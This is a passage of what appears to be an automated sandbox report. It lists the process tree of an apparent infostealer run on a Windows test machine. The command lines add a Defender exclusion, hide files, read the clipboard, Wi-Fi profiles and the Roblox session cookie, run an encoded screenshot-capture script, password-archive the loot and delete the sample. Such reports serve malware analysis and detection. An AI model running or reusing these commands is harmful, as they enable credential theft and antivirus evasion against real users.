    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:836
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Mod-EscapeService.exe"
      4⤵
      Views/modifies file attributes
      PID:560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3528
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5116
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:2568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3836
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:1536
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:668
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:5068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:1980
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1100
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4104
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:1232
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:4812
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:1836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:4260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1000
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uug1clrp\uug1clrp.cmdline"
        5⤵
        
        PID:2504
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB630.tmp" "c:\Users\Admin\AppData\Local\Temp\uug1clrp\CSC7CD17B6465C478EB0D2CD8D986085FF.TMP"
        6⤵
        
        PID:4024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:2448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:836
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:756
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4760
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:4608
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5092
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3836
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:220
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2532
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2372
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:3236
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4232
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI36122\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\VJB4w.zip" *"
    3⤵
    PID:1412
  - - C:\Users\Admin\AppData\Local\Temp\_MEI36122\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI36122\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\VJB4w.zip" *
      4⤵
      Executes dropped EXE
      PID:3240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:1736
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:2780
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4068
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:992
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:3716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:1912
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:3992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\Mod-EscapeService.exe""
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2500
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4812

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:3948
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:2184
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1984 -parentBuildID 20240401114208 -prefsHandle 1900 -prefMapHandle 1892 -prefsLen 23839 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {069155df-5bc4-465e-81d6-b1bb16295d97} 2184 "\\.\pipe\gecko-crash-server-pipe.2184" gpu
    3⤵
    PID:4392
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2392 -parentBuildID 20240401114208 -prefsHandle 2368 -prefMapHandle 2364 -prefsLen 23717 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ca9e7e47-9b4a-4b6b-a2e4-64305000d8f1} 2184 "\\.\pipe\gecko-crash-server-pipe.2184" socket
    3⤵
    - Checks processor information in registry
    PID:4544
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3196 -childID 1 -isForBrowser -prefsHandle 3200 -prefMapHandle 3192 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 916 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {820a4ad3-278e-4df0-b5a9-dc5e8a6c3e9f} 2184 "\\.\pipe\gecko-crash-server-pipe.2184" tab
    3⤵
    PID:3176
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3928 -childID 2 -isForBrowser -prefsHandle 3892 -prefMapHandle 3888 -prefsLen 29091 -prefMapSize 244658 -jsInitHandle 916 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aec98553-737a-485b-ac52-a83f6f30dd61} 2184 "\\.\pipe\gecko-crash-server-pipe.2184" tab
    3⤵
    PID:4848
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4784 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4828 -prefMapHandle 4824 -prefsLen 29091 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {237101df-bb67-44f2-9282-83ddb3c883fa} 2184 "\\.\pipe\gecko-crash-server-pipe.2184" utility
    3⤵
    - Checks processor information in registry
    PID:5196
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5252 -childID 3 -isForBrowser -prefsHandle 5320 -prefMapHandle 5316 -prefsLen 27025 -prefMapSize 244658 -jsInitHandle 916 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4941dc22-e160-4be6-8f5e-d8466ca2a65a} 2184 "\\.\pipe\gecko-crash-server-pipe.2184" tab
    3⤵
    PID:5876
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5516 -childID 4 -isForBrowser -prefsHandle 5460 -prefMapHandle 5452 -prefsLen 27025 -prefMapSize 244658 -jsInitHandle 916 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dcd658de-8ce3-43e0-ab70-0533b8138da4} 2184 "\\.\pipe\gecko-crash-server-pipe.2184" tab
    3⤵
    PID:5912
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5672 -childID 5 -isForBrowser -prefsHandle 5592 -prefMapHandle 5596 -prefsLen 27025 -prefMapSize 244658 -jsInitHandle 916 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {51b3b332-f22a-4df9-9ff1-d1ac23cda797} 2184 "\\.\pipe\gecko-crash-server-pipe.2184" tab
    3⤵
    PID:5936

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:5284
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:5236
- - C:\Program Files\Mozilla Firefox\firefox.exe
